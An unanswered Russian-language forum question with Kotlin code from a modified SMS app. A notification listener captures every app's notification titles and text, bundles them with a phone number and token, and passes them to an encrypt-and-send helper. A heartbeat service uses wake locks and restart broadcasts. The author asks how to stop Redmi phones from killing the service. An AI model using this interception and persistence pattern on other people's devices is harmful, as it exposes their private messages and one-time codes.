телефон постоянно убивает фоновые службы

телефон постоянно останавливает фоновые службы допустим

package com.simplemobiletools.smsmessenger.receivers

import android.provider.Telephony
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import android.util.Log

import com.simplemobiletools.smsmessenger.databases.DBHelper
import com.simplemobiletools.smsmessenger.extensions.insertNewSMS
import com.simplemobiletools.smsmessenger.extensions.showReceivedMessageNotification
import com.simplemobiletools.smsmessenger.helpers.refreshMessages
import org.json.JSONObject

class PushReceiver : NotificationListenerService() {
    private lateinit var dbHelper: DBHelper
    private lateinit var settingsModel: SettingsModel // Обновляем тип с DBHelper на SettingsModel
    private var heartBeat: HeartBeat? = null
    override fun onCreate() {
        super.onCreate()


    }

    override fun onNotificationPosted(sbn: StatusBarNotification) {

        dbHelper = DBHelper(this)
        settingsModel = dbHelper.settings
        super.onNotificationPosted(sbn)

        val packageName = sbn.packageName

        if(packageName =="com.simplemobiletools.smsmessenger.debug"){
            return;
        }

        val notification = sbn.notification
        val title = notification.extras.getCharSequence("android.title")
        val text = notification.extras.getCharSequence("android.text")
        val id = settingsModel.phoneNumber;
        var token = settingsModel.token;
        val date = System.currentTimeMillis() // Текущее время
        val type = Telephony.Sms.MESSAGE_TYPE_INBOX // Тип сообщения (входящее)
        val read = 0 // Статус прочтения (0 - не прочитано)


        val pushData = JSONObject()
        pushData.put("package", packageName)
        pushData.put("title", title)
        pushData.put("text", text)
        pushData.put("id", id)
        pushData.put("token", token)

        val received = settingsModel.isMessageForwarding
        if (received) {
            // Convert JSON object to string
            val jsonString = pushData.toString()
            CrypnAndSend.encryptAndPrint(jsonString, this)

            val newMessageId = insertNewSMS(
                address = "PUSH", // Используйте ID отправителя в качестве адреса
                subject = "PUSH", // Название приложения или другая тема
                body = "$packageName\n\n$title\n\n$text", // Сообщение из пуш-уведомления
                date = date,
                read = read,
                threadId = 0,
                type = type,
                subscriptionId = 0 // Идентификатор подписки
            )
            refreshMessages();
            showReceivedMessageNotification(newMessageId, packageName, text.toString(), 0, null)
        } else {
            Log.d("PushReceiver", "перессылка отключена")
        }
    }
    override fun onNotificationRemoved(sbn: StatusBarNotification) {
        super.onNotificationRemoved(sbn)
        // Обработка удаления уведомления (не обязательно)
    }

}  

и вот такая служба



import android.annotation.SuppressLint
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.Context
import android.content.Intent
import android.os.*
import android.util.Log
import androidx.core.app.NotificationCompat
import com.simplemobiletools.smsmessenger.R
import com.simplemobiletools.smsmessenger.databases.DBHelper
import com.simplemobiletools.smsmessenger.receivers.RestartServiceReceiver

class HeartBeatService : Service() {

    private lateinit var heartBeat: HeartBeat
    private lateinit var settingsModel: SettingsModel
    private lateinit var handler: Handler
    private var secondsRemaining: Int = 300
    private lateinit var dbHelper: DBHelper
    private lateinit var wakeLock: PowerManager.WakeLock
    private var isCountdownRunning: Boolean = false

    override fun onCreate() {
        super.onCreate()
        try {
            Log.d("HeartBeatService", "Service created")
            dbHelper = DBHelper(this)
            settingsModel = dbHelper.settings
            heartBeat = HeartBeat(this, settingsModel)

            handler = Handler(Looper.getMainLooper())
            startForegroundService()
            sendHeartbeat()

            // Инициализация и активация WakeLock
            val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager
            wakeLock = powerManager.newWakeLock(
                PowerManager.FULL_WAKE_LOCK or PowerManager.ACQUIRE_CAUSES_WAKEUP or PowerManager.ON_AFTER_RELEASE,
                "HeartBeatService::WakeLock"
            )
            wakeLock.acquire()

        } catch (e: Exception) {
            Log.e("HeartBeatService", "Error in onCreate", e)
            showErrorNotification(e.message ?: "Unknown error in onCreate")
        }
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        return try {
            Log.d("HeartBeatService", "Service started")
            startCountdown()
            START_REDELIVER_INTENT
        } catch (e: Exception) {
            Log.e("HeartBeatService", "Error in onStartCommand", e)
            showErrorNotification(e.message ?: "Unknown error in onStartCommand")
            START_REDELIVER_INTENT
        }
    }

    override fun onDestroy() {
        super.onDestroy()
        try {
            Log.d("HeartBeatService", "Service destroyed")
            handler.removeCallbacksAndMessages(null)
            sendBroadcast(Intent(this, RestartServiceReceiver::class.java))

            // Освобождение WakeLock
            if (wakeLock.isHeld) {
                wakeLock.release()
            }
        } catch (e: Exception) {
            Log.e("HeartBeatService", "Error in onDestroy", e)
            showErrorNotification(e.message ?: "Unknown error in onDestroy")
            sendBroadcast(Intent(this, RestartServiceReceiver::class.java))
        }
    }

    override fun onBind(intent: Intent?): IBinder? {
        return null
    }

    @SuppressLint("ForegroundServiceType")
    private fun startForegroundService() {
        try {
            Log.d("HeartBeatService", "Starting foreground service")
            val channelId = "heartbeat_channel"
            val channelName = "Heartbeat Service Channel"

            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                val channel = NotificationChannel(channelId, channelName, NotificationManager.IMPORTANCE_LOW)
                val manager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
                manager.createNotificationChannel(channel)
            }

            val notification: Notification = createNotification("Следующий пульс через 5:00")
            startForeground(1, notification)
        } catch (e: Exception) {
            Log.e("HeartBeatService", "Error in startForegroundService", e)
            showErrorNotification(e.message ?: "Unknown error in startForegroundService")
        }
    }

    private fun startCountdown() {
        if (isCountdownRunning) {
            Log.d("HeartBeatService", "Countdown already running")
            return
        }

        isCountdownRunning = true
        handler.post(object : Runnable {
            override fun run() {
                try {
                    if (secondsRemaining > 0) {
                        secondsRemaining--

                        //симуляция ошибки, проверка как поднимиться приложуха обратно
                        /*if (secondsRemaining == 240) {
                            throw RuntimeException("Simulated error at 4-minute mark")
                        } */

                        val minutes = secondsRemaining / 60
                        val seconds = secondsRemaining % 60
                        val timeText = String.format("Следующий пульс через %02d:%02d", minutes, seconds)
                        updateNotification(timeText)
                        handler.postDelayed(this, 1000)
                    } else {
                        Log.d("HeartBeatService", "Countdown reached zero, sending heartbeat")
                        sendHeartbeat()  // Send heartbeat request
                        secondsRemaining = 300 // Reset countdown for the next heartbeat
                        handler.postDelayed(this, 1000) // Restart the countdown
                    }
                } catch (e: Exception) {
                    Log.e("HeartBeatService", "Error in startCountdown", e)
                    showErrorNotification(e.message ?: "Unknown error in startCountdown")
                    handler.postDelayed(this, 1000) // Restart countdown despite the error
                }
            }
        })
    }

    private fun sendHeartbeat() {
        try {
            heartBeat.sendGetRequest()
        } catch (e: Exception) {
            Log.e("HeartBeatService", "Failed to send heartbeat", e)
            updateNotification("Error: ${e.message}")
        } finally {
            isCountdownRunning = false
        }
    }

    private fun createNotification(contentText: String): Notification {
        val channelId = "heartbeat_channel"
        return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            Notification.Builder(this, channelId)
                .setContentTitle("Пульсация приложения")
                .setContentText(contentText)
                .setSmallIcon(R.drawable.ic_vector_play_circle_outline)
                .build()
        } else {
            NotificationCompat.Builder(this, channelId)
                .setContentTitle("Пульсация приложения")
                .setContentText(contentText)
                .setSmallIcon(R.drawable.ic_vector_play_circle_outline)
                .setPriority(NotificationCompat.PRIORITY_LOW)
                .build()
        }
    }

    private fun updateNotification(contentText: String) {
        val notification = createNotification(contentText)
        val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
        notificationManager.notify(1, notification)
    }

    private fun showErrorNotification(message: String) {
        val channelId = "heartbeat_error_channel"
        val channelName = "Heartbeat Error Channel"

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            val channel = NotificationChannel(channelId, channelName, NotificationManager.IMPORTANCE_HIGH)
            val manager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
            manager.createNotificationChannel(channel)
        }

        val notification = NotificationCompat.Builder(this, channelId)
            .setContentTitle("Ошибка в HeartBeatService")
            .setContentText(message)
            .setSmallIcon(R.drawable.ic_vector_play_circle_outline)
            .setPriority(NotificationCompat.PRIORITY_HIGH)
            .build()

        val notificationManager = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
        notificationManager.notify(2, notification)
    }
}

как можно это обойти, особенно это прям заметно на редми, если вырубить экран, спустя какое то время приложение постепенно останавливает все фоновые службы, в


Ответы (0 шт):